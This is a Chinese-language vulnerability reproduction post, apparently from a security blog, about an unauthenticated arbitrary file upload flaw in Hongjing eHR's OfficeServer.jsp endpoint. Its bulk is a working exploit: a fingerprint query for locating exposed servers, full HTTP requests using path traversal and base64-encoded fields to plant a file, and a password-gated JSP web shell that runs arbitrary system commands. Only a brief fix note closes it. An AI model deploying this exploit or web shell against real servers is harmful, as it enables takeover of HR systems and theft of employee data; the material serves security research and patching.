宏景eHR 任意文件上传漏洞复现(0day)

0x01 产品简介

  宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化、协同化、流程化、战略化需求的软件。

0x02 漏洞概述

  宏景eHR OfficeServer.jsp接口处存在任意文件上传漏洞,未经过身份认证的远程攻击者可利用此漏洞上传任意文件,最终可导致服务器失陷。

0x03 复现环境

 鹰图指纹:app.name="宏景 HCM"

宏景eHR 任意文件上传漏洞复现(0day)_第1张图片

0x04 漏洞复现 

PoC

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cNjYuanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<%out.println("bbbbbbbbbbbbbbb");%>

PS: 请求体中的FILETYPE字段是base64加密的上传文件名

宏景eHR 任意文件上传漏洞复现(0day)_第2张图片

尝试上传

宏景eHR 任意文件上传漏洞复现(0day)_第3张图片

验证

宏景eHR 任意文件上传漏洞复现(0day)_第4张图片

漏洞利用

编写一个带命令回显的jsp马子

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>

 上传马子

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cODguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>

宏景eHR 任意文件上传漏洞复现(0day)_第5张图片

命令执行

宏景eHR 任意文件上传漏洞复现(0day)_第6张图片 

0x05 修复建议

 关闭互联网暴露面或设置接口访问权限

 升级至安全版本

你可能感兴趣的:(漏洞复现,安全,web安全,网络安全)